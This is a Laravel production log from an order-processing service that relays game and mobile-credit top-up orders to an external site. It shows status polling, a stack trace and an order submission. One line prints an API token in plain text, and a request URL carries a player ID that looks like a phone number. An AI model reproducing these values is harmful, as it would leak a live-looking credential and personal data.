[2026-03-24 01:16:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:16:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:16:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:16:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"uaYwl8K4E8xGcHBd40UasFmzxZOIfB05","execution_time":"2026-03-24 01:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:17:15] production.INFO: Constructing job for order: 178506  
[2026-03-24 01:17:18] production.INFO: Handling job for order: 178506  
[2026-03-24 01:17:18] production.ERROR: API failed for order 178506 {"order_id":178506,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(178506, 39, 1, '36cb19aa-a10d-4...', '[{\"key\":\"player...', 10, 331)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(178506)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 01:17:18","memory_usage":59244544,"memory_peak":59244544}} 
[2026-03-24 01:18:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00"} 
[2026-03-24 01:18:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","total_operations":4,"sites_count":1} 
[2026-03-24 01:18:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:18:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:18:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:18:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:18:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:18:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:18:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:18:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:18:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:18:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"K2AJxdKoKMxewS3TGfmu3I6ERqMtFBNR","execution_time":"2026-03-24 01:18:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:20:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01"} 
[2026-03-24 01:20:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","total_operations":4,"sites_count":1} 
[2026-03-24 01:20:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:20:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:20:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:20:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:20:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:20:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:20:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"k91vib8NhpbU07dxXInkaOhivSTsg9aS","execution_time":"2026-03-24 01:20:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 01:20:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 01:20:01] production.INFO: Executing GetProducts task...  
[2026-03-24 01:20:03] production.INFO: async() رجع: true  
[2026-03-24 01:20:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 01:20:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 01:20:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 01:20:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 01:20:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 01:20:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 01:20:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 01:20:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 01:20:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 01:20:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 01:20:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 01:22:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01"} 
[2026-03-24 01:22:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","total_operations":4,"sites_count":1} 
[2026-03-24 01:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:22:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:22:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:22:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:22:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"h6srJObWByo9QwjJ95gaQlyE9ifoaCzR","execution_time":"2026-03-24 01:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:22:34] production.INFO: Constructing job for order: 178507  
[2026-03-24 01:22:35] production.INFO: Handling job for order: 178507  
[2026-03-24 01:22:35] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 01:22:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 01:22:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/37/params?qty=1&uuid=f93e3808-d7e3-40b3-9745-b2d6367777d5&Player_ID=0983318062  
[2026-03-24 01:22:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/37/params?qty=1&uuid=f93e3808-d7e3-40b3-9745-b2d6367777d5&Player_ID=0983318062","has_body":false} 
[2026-03-24 01:22:35] production.INFO: Operation sent successfully {"operation_id":163439,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-kubSneIY-1774304555","amount":72.050849999999996953192749060690402984619140625,"status":"processing","product":"68.27 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 01:22:35"}},"processed_data":{"order_number":"ORD-kubSneIY-1774304555","amount":72.050849999999996953192749060690402984619140625,"status":"processing","product":"68.27 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 01:24:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02"} 
[2026-03-24 01:24:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","total_operations":5,"sites_count":2} 
[2026-03-24 01:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 01:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 01:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 01:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 01:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 01:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 01:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 01:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 01:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-kubSneIY-1774304555"]} 
[2026-03-24 01:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 01:24:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 01:24:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 01:24:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 01:24:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"count":1} 
[2026-03-24 01:24:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"qJbreJiwIF1zzjTTagPs12VPP0n9UpQ9","execution_time":"2026-03-24 01:24:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-kubSneIY-1774304555","operation_id":163439,"count":1} 
